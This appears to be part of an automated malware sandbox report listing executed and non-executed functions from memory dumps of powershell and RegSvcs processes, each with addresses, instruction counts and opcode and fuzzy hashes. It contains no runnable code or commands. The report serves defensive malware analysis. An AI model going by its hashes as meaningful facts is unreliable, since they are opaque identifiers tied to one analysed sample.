                                                                • Opcode Fuzzy Hash: aac2bea7d547b1bef0b86a48165ecc4a079351f9ee198d4dee4f26a0a8b95320
                                                                • Instruction Fuzzy Hash: D8B09230185748CFC2486F75A804914732DAF4021578004A8E81E1A2A28F76E888CA44

                                                                Non-executed Functions

                                                                Function 07BF2327 Relevance: 5.1, Strings: 4, Instructions: 137COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2173821221.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_7bf0000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: piNk$piNk$piNk$piNk
                                                                • API String ID: 0-2864048094
                                                                • Opcode ID: b7c364e3c103c277f308b3018590d04ea4737dd846cd8c592815240ca65f9b89
                                                                • Instruction ID: 1274d574f64b013580048d2e0f8f73f195fda6f8bfd653a45a1c83e940d387e8
                                                                • Opcode Fuzzy Hash: b7c364e3c103c277f308b3018590d04ea4737dd846cd8c592815240ca65f9b89
                                                                • Instruction Fuzzy Hash: EC4156F2700216DFEF249BB885016EEBBA1FFC5611F4484BAD7518F241DA71C849C7A1

                                                                Executed Functions

                                                                Function 00D421EB Relevance: 1.6, Strings: 1, Instructions: 379COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: P @
                                                                • API String ID: 0-1889899152
                                                                • Opcode ID: eb4f44e927e2fa93d1129c131cd8da1449b15b3b674d852f8a0cb9a6c4934b09
                                                                • Instruction ID: 0c101f0103bd749f24fca76f7f21374a7e9309f3b76b0d9d08f9bfa5a4e35e77
                                                                • Opcode Fuzzy Hash: eb4f44e927e2fa93d1129c131cd8da1449b15b3b674d852f8a0cb9a6c4934b09
                                                                • Instruction Fuzzy Hash: D8F1F374A012499FDB05DFA8D484A9DBBF2FF49320F5981A9E405AB366D730EC85CF60
                                                                Function 00D40B13 Relevance: .6, Instructions: 575COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 041c87c13e385e28e95624395043ed61877f7f00a0b7d41f2ff7a23ce5adccbf
                                                                • Instruction ID: 56655c45fbf7c038702f49f3a6f223818949dc0b6186105cf0a060cec37583e6
                                                                • Opcode Fuzzy Hash: 041c87c13e385e28e95624395043ed61877f7f00a0b7d41f2ff7a23ce5adccbf
                                                                • Instruction Fuzzy Hash: 4A422974A012898FCB15DFA8D484A9DBBF2BF89314F1586A9E405EF366DB30AC45CF50
                                                                Function 00D48F28 Relevance: .3, Instructions: 281COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7a7b568ce23560286b255b0ad6b6114e496bb018ee0b470580d3c3a81a69a99c
                                                                • Instruction ID: 95c04377b5e8bc7dd820ddf7adda6af1cc6192e57f6c5ded1d09629140ce1f19
                                                                • Opcode Fuzzy Hash: 7a7b568ce23560286b255b0ad6b6114e496bb018ee0b470580d3c3a81a69a99c
                                                                • Instruction Fuzzy Hash: F5B14C70E002099FDF14CFA9C89579EFBF2BF88354F188129E815A7294EB749845CBA5
                                                                Function 00D497F8 Relevance: .3, Instructions: 266COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 63239fad05fc119913f1d2e25af3041a7716b15f4bedc08e3071a3fbfbc74c8d
                                                                • Instruction ID: 624d146c5ddb3d94bedf23f8b08a581756f6c50252a76cc2fc88d793668cbb03
                                                                • Opcode Fuzzy Hash: 63239fad05fc119913f1d2e25af3041a7716b15f4bedc08e3071a3fbfbc74c8d
                                                                • Instruction Fuzzy Hash: F7B13E70E002098FDF14CFAAD8A579EFBF2BF88714F188129D455A7294EB749845CFA1
                                                                Function 00D4B61F Relevance: .4, Instructions: 353COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 513cffeb4143c864430df1e4509fbb005abf0294b49f6dbac39699ad13cc2aa4
                                                                • Instruction ID: e8655fa795ebe1d741482220baba35f2309e9458fdb54be0a1a097cd45569a68
                                                                • Opcode Fuzzy Hash: 513cffeb4143c864430df1e4509fbb005abf0294b49f6dbac39699ad13cc2aa4
                                                                • Instruction Fuzzy Hash: 20E187719093848FDB06CF6CC490A9CBFF1AF4A320F1981DAD495AB2A2D774E845CF60
                                                                Function 00D452F8 Relevance: .3, Instructions: 336COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3890613759ad4d37a487f1fbb43a48d0f576bdd48cee6be56403c9e50bd0b999
                                                                • Instruction ID: f30eb57161e3f924a66145a6bba95f1d086f3901171e2ff81adfb398f24ce28d
                                                                • Opcode Fuzzy Hash: 3890613759ad4d37a487f1fbb43a48d0f576bdd48cee6be56403c9e50bd0b999
                                                                • Instruction Fuzzy Hash: 7AD1BF3550A7C18FCB17DF3898646D9BFB1AF47210B1946DBC0D68F2A7C634A889CB61
                                                                Function 00D4A8F0 Relevance: .3, Instructions: 310COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e55c49eecd9ee9c84922160358e2d3e61a87249f4de777335c8667472a714ead
                                                                • Instruction ID: ac1d00eb76cf07701165d1f9a7e5770c945e435d97e26fc8c1e96b79b03ef4c1
                                                                • Opcode Fuzzy Hash: e55c49eecd9ee9c84922160358e2d3e61a87249f4de777335c8667472a714ead
                                                                • Instruction Fuzzy Hash: DCD10275A002488FEB05DFA8C480ADDBBF2BF49310F598295E855AB366D734EC85CF60
                                                                Function 00D4C080 Relevance: .3, Instructions: 298COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 5eda3437810b7ec04e72f831e32e6188c0aa612d93f256d2310b3b71ad9a8a95
                                                                • Instruction ID: 391024e99b8ebbe9841f72da9e23090bac8cda8da6c6b94b01f8ac8d4bf65f03
                                                                • Opcode Fuzzy Hash: 5eda3437810b7ec04e72f831e32e6188c0aa612d93f256d2310b3b71ad9a8a95
                                                                • Instruction Fuzzy Hash: 3AD11175A012498FDB56CFA8C484A9CBBF1BF49320F299195E845EB362D730ED85CF60
                                                                Function 00D4C070 Relevance: .3, Instructions: 297COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2bb79356bce74e9e4d6e6ff2fe4f5ee85fef5bd7fbc4d4608a637606f7d3ad5b
                                                                • Instruction ID: b4fbe8373097854953fe136b77ced51e1921f316c322e2b9c0e5f076cb479ea4
                                                                • Opcode Fuzzy Hash: 2bb79356bce74e9e4d6e6ff2fe4f5ee85fef5bd7fbc4d4608a637606f7d3ad5b
                                                                • Instruction Fuzzy Hash: 8DD15575A012498FDB55CF68C484ADCBBF1AF49320F299195E845EB3A2D730ED81CF60
                                                                Function 00D4B890 Relevance: .3, Instructions: 289COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6bf95eaeeacddc67c3bdd0e46d91062cf594f55f47a1268f2d3ba4b79a748bcc
                                                                • Instruction ID: 4e87d445186c3eb585982d6d04ea82f5d755d68c5b05fa8c0da2f305e6d9c075
                                                                • Opcode Fuzzy Hash: 6bf95eaeeacddc67c3bdd0e46d91062cf594f55f47a1268f2d3ba4b79a748bcc
                                                                • Instruction Fuzzy Hash: 57D11871A002498FDB15CF68C480A9CBBF1FF49320F59869AE855AB366D734ED85CF60
                                                                Function 00D48738 Relevance: .3, Instructions: 286COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: bb2999092926fce3afd7f9a5db0719b14a683c2434eb2957c324978d7da7a842
                                                                • Instruction ID: d60ed94aa45398c3fa5164b3ac6c68d92a1cbc61d07ab516bda75a2e35871a26
                                                                • Opcode Fuzzy Hash: bb2999092926fce3afd7f9a5db0719b14a683c2434eb2957c324978d7da7a842
                                                                • Instruction Fuzzy Hash: B3A1D07580E3D18FDB028F3C88642DABFB0AF57214F0940DBC195DB253DA78584ADBA6
                                                                Function 00D48F1D Relevance: .3, Instructions: 278COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e7347db3b9744581df2dcb980d9f6ecc8511a5de6c674254ddda285beaaa6ac8
                                                                • Instruction ID: 3c26fa493101ec8b0f0ab609afd71d98bf3e2f3dc96c8cd3c1a5ab629fd10037
                                                                • Opcode Fuzzy Hash: e7347db3b9744581df2dcb980d9f6ecc8511a5de6c674254ddda285beaaa6ac8
                                                                • Instruction Fuzzy Hash: 09B14870E002499FDF10CFA9C8957DEFBF2AF88354F188129E815A7294EB749845CFA5
                                                                Function 00D497EC Relevance: .3, Instructions: 265COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: dce94cf91cd7b83264fa8ef5b0da1ebc62d3a100bb45c880a3169cbcf84b7c67
                                                                • Instruction ID: 8728913832d269d402a7eb6dbe763725acefc4eff05576f9f0a33e53839f9405
                                                                • Opcode Fuzzy Hash: dce94cf91cd7b83264fa8ef5b0da1ebc62d3a100bb45c880a3169cbcf84b7c67
                                                                • Instruction Fuzzy Hash: 89B15D70E002498FDF10CFAAD8A579EFBF1BF89314F188129E455A7294EB749841CFA1
                                                                Function 00D4A4A7 Relevance: .2, Instructions: 236COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fb4b91a27bb9c3c522f9685fe4e4403cd01d056ded6617715a853af95e7ee3d1
                                                                • Instruction ID: 379f271ae1a82092d8c5e8e932ea3c7e919787be25d4e2c1de8b772704b153f0
                                                                • Opcode Fuzzy Hash: fb4b91a27bb9c3c522f9685fe4e4403cd01d056ded6617715a853af95e7ee3d1
                                                                • Instruction Fuzzy Hash: 73A14974A012549FDB15CF68D884A9DBBF2FF89310B198295E445EB362C730EC46CFA1
                                                                Function 00D412A3 Relevance: .2, Instructions: 221COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0ab8be3063b77be778a544f3adcb57f5f0d004470fbb90a829f8e1639a0e5e4b
                                                                • Instruction ID: 2856bb04fdc0ddde0d6e2f2f6135aa76fa797effca68038a44d16730dc8901ca
                                                                • Opcode Fuzzy Hash: 0ab8be3063b77be778a544f3adcb57f5f0d004470fbb90a829f8e1639a0e5e4b
                                                                • Instruction Fuzzy Hash: E2A11674A01689CFCB15DFA8C484A9CBBB2FF89324F1582A4E415AF3A5D734AD85CF50
                                                                Function 00D4A8DF Relevance: .2, Instructions: 217COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: dcd3df2ea5bf09c623ff18ac8a0e9ea0bffc347d837a2afb80ba2e026b349992
                                                                • Instruction ID: 79713f51bfab6ab825be22ab032e195ca7f20a111b69c0ee6cf2df6bddcfb1fb
                                                                • Opcode Fuzzy Hash: dcd3df2ea5bf09c623ff18ac8a0e9ea0bffc347d837a2afb80ba2e026b349992
                                                                • Instruction Fuzzy Hash: F4A11275A002898FDB06DFA8C480ADDBBF2BF49310F198295E455AB366C730ED85CF60
                                                                Function 00D42830 Relevance: .2, Instructions: 217COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3ace592139f8050a881fa561a6327ee14eab6d926cae152415d48c58a6e1c09c
                                                                • Instruction ID: dbf51f0b449aa356a1d0b2a748c9c4a50f00e7a872ce57b21383d58147f4c449
                                                                • Opcode Fuzzy Hash: 3ace592139f8050a881fa561a6327ee14eab6d926cae152415d48c58a6e1c09c
                                                                • Instruction Fuzzy Hash: 16816035A006458FCB25CF68C944BAEBBF2FF88310F598294E855AB355CB30ED45CBA0
                                                                Function 00D43C60 Relevance: .2, Instructions: 201COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3e505d67e1470f7c065934ac01179a23276ba62f9249b54c7b305199dbef374b
                                                                • Instruction ID: ba3c80a1a6a96e442489cddf5a62e4a58e3f8d51d820cce9e7d4f39621d667fd
                                                                • Opcode Fuzzy Hash: 3e505d67e1470f7c065934ac01179a23276ba62f9249b54c7b305199dbef374b
                                                                • Instruction Fuzzy Hash: 11813E34B01245DFDB05DF68D494A9DBBF2AF89310F298265F406AB365DB30ED86CB60
                                                                Function 00D4C6A8 Relevance: .2, Instructions: 200COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7622292a586058c96d1f4be44f06671b6a4f479e9135d093c70087af0c6d6032
                                                                • Instruction ID: f26b43fe56edbf26bbb5615bb2fd4900851d508ba6c0eab86923757db1f24d84
                                                                • Opcode Fuzzy Hash: 7622292a586058c96d1f4be44f06671b6a4f479e9135d093c70087af0c6d6032
                                                                • Instruction Fuzzy Hash: 10819271A117458FDB25CF69C444A9EBBF2BF88300F248A5AD496EB261DB30EC45CF50
                                                                Function 00D45498 Relevance: .2, Instructions: 194COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 58467699ef76a187fed20391344c132169e01c498378e8a4f7cb111bcba3e687
                                                                • Instruction ID: 3a988098ed1f611f3e3af763d04574dee4ab5ba933ef61b14df0603748006b0e
                                                                • Opcode Fuzzy Hash: 58467699ef76a187fed20391344c132169e01c498378e8a4f7cb111bcba3e687
                                                                • Instruction Fuzzy Hash: 56818E70A01B41CFDB25DF28D544A9DBBF2BF89310F248669D0969B2A6C731EC85CF61
                                                                Function 00D4B880 Relevance: .2, Instructions: 192COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2335a17fa4825740cc51513714854de8c9e18504e66fa5a67c6c25d3458bb61a
                                                                • Instruction ID: 2eb162ea939e3980983dea4ad8b212725102a0384b97cf66c1b0f53bdb2760a3
                                                                • Opcode Fuzzy Hash: 2335a17fa4825740cc51513714854de8c9e18504e66fa5a67c6c25d3458bb61a
                                                                • Instruction Fuzzy Hash: 6F81F575A002458FDB16CF68C480A9CBBF1FF49320F598696E855AB3A6D730ED85CF60
                                                                Function 00D45D5F Relevance: .2, Instructions: 160COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 02d5f3efdd34c90c829d2bf43682b891066f95d7f92e7d1306db55ab6478d917
                                                                • Instruction ID: a3caee0e4834d4797ff792f1b5f2fad279eecccd5f70e4b89d128fe13bdb9f82
                                                                • Opcode Fuzzy Hash: 02d5f3efdd34c90c829d2bf43682b891066f95d7f92e7d1306db55ab6478d917
                                                                • Instruction Fuzzy Hash: 4A513B71B016449FDB04DFB8D844B9EBBF6AF88310F148169E14AE73A6DA70DC41CB61
                                                                Function 00D45497 Relevance: .2, Instructions: 155COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fd51b33655497e974221a89c888ad0430ea7b34c3dbd9b80c28bbf9176ce90ee
                                                                • Instruction ID: 51dbad22352643e3c4dbaf59e63d75fe3ea6a9ec126375e1acee03a5b1da52f9
                                                                • Opcode Fuzzy Hash: fd51b33655497e974221a89c888ad0430ea7b34c3dbd9b80c28bbf9176ce90ee
                                                                • Instruction Fuzzy Hash: 5D518070A05B41CFDB25DF28D444B9DBBF2BF49310F284659D0969B6A6C731E885CF60
                                                                Function 00D44518 Relevance: .2, Instructions: 154COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a8cc8360646e51fbedf7452bf8d5fcd151f2feab61697158cea2ede8c01bdec3
                                                                • Instruction ID: a4a2a9cbe523f24b96172c24c6736fbaf87545728d6335e648a5dab95e71c17d
                                                                • Opcode Fuzzy Hash: a8cc8360646e51fbedf7452bf8d5fcd151f2feab61697158cea2ede8c01bdec3
                                                                • Instruction Fuzzy Hash: 57514930E002198FDB14EBA9D854BEEBBF2BF89310F258569D405BB255DB709D45CBA0
                                                                Function 00D43EE0 Relevance: .1, Instructions: 149COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 44b0622989489bb68f7ba32fb53e23068ed855aa5c67868383109bb5c02e3040
                                                                • Instruction ID: d59a45f199ea2045268dd56c46d15a103b7d6c875ffc6af7b948cb223e41dc58
                                                                • Opcode Fuzzy Hash: 44b0622989489bb68f7ba32fb53e23068ed855aa5c67868383109bb5c02e3040
                                                                • Instruction Fuzzy Hash: 53518A71E0025A9FCB00DFA9D840AEEFBB5FF89310F14816AE518E3291D7749A15CBA1
                                                                Function 00D43C50 Relevance: .1, Instructions: 148COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 36bd94ba7b42351f2fa113a63413e69904fb8d1a3fb3019244fb910e10cb0ee9
                                                                • Instruction ID: 40402fb653f10f83475970f4ea73abcfb287e795e256d673da69f3e4867f8ac0
                                                                • Opcode Fuzzy Hash: 36bd94ba7b42351f2fa113a63413e69904fb8d1a3fb3019244fb910e10cb0ee9
                                                                • Instruction Fuzzy Hash: 34512C34B01245DFCB05DF68D594A9DBBB2FF89310F298269F406AB365DB30AD86CB50
                                                                Function 00D4B662 Relevance: .1, Instructions: 138COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0726a2fd91142fe8f2f23a3606e4d732536ea115e25400100124c736c2f9286a
                                                                • Instruction ID: e0bb72c160fe34426f878f72c2190dceafdf614eeee74cc66a30f2bab1e415c7
                                                                • Opcode Fuzzy Hash: 0726a2fd91142fe8f2f23a3606e4d732536ea115e25400100124c736c2f9286a
                                                                • Instruction Fuzzy Hash: DD41464A81E3D18FD7075B3C58B41957F708D6726470A26CBC2D1CF1A3EA48889EE77A
                                                                Function 00D42C17 Relevance: .1, Instructions: 129COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d9eb0f7049254946ab74fa7be1abcc2d7a48a266368001dffa9c8e381013801f
                                                                • Instruction ID: 70d2230d2472783dc704ee8aaaa7df1a21b8d84a70f114e4123fa6b58cb468c5
                                                                • Opcode Fuzzy Hash: d9eb0f7049254946ab74fa7be1abcc2d7a48a266368001dffa9c8e381013801f
                                                                • Instruction Fuzzy Hash: 24516E30A017458FCB25CF65C98099AFBF2FF88310B648A6DE49A97654D730FD45CBA0
                                                                Function 00D41EF8 Relevance: .1, Instructions: 127COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 527a0f01084ba906980aed3fbb2860ea2d3d48a5d81f8fd8927a38a2214a0f98
                                                                • Instruction ID: ace402d5878a478e49bbf313dad200fa6d284b2a4936214d0a1309ffffc97c07
                                                                • Opcode Fuzzy Hash: 527a0f01084ba906980aed3fbb2860ea2d3d48a5d81f8fd8927a38a2214a0f98
                                                                • Instruction Fuzzy Hash: FB515E70A002458FDB15DF68C840ADEBBF2EF89320F559698E415AB3A1DB71ED45CFA0
                                                                Function 00D4C5A0 Relevance: .1, Instructions: 114COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7de8556b65cec0d0af2dee5d9439e4fb2311855930a45af6075798f325c7ef1f
                                                                • Instruction ID: daa47c5f1939403a7a164134b02f467d4896b9f0c64fcde6e134e912709a367f
                                                                • Opcode Fuzzy Hash: 7de8556b65cec0d0af2dee5d9439e4fb2311855930a45af6075798f325c7ef1f
                                                                • Instruction Fuzzy Hash: 1D412432E11249DFCF11EBB8E8408DDBBF2AF89320B584656E545BB151DB306945CBB0
                                                                Function 00D4D868 Relevance: .1, Instructions: 108COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
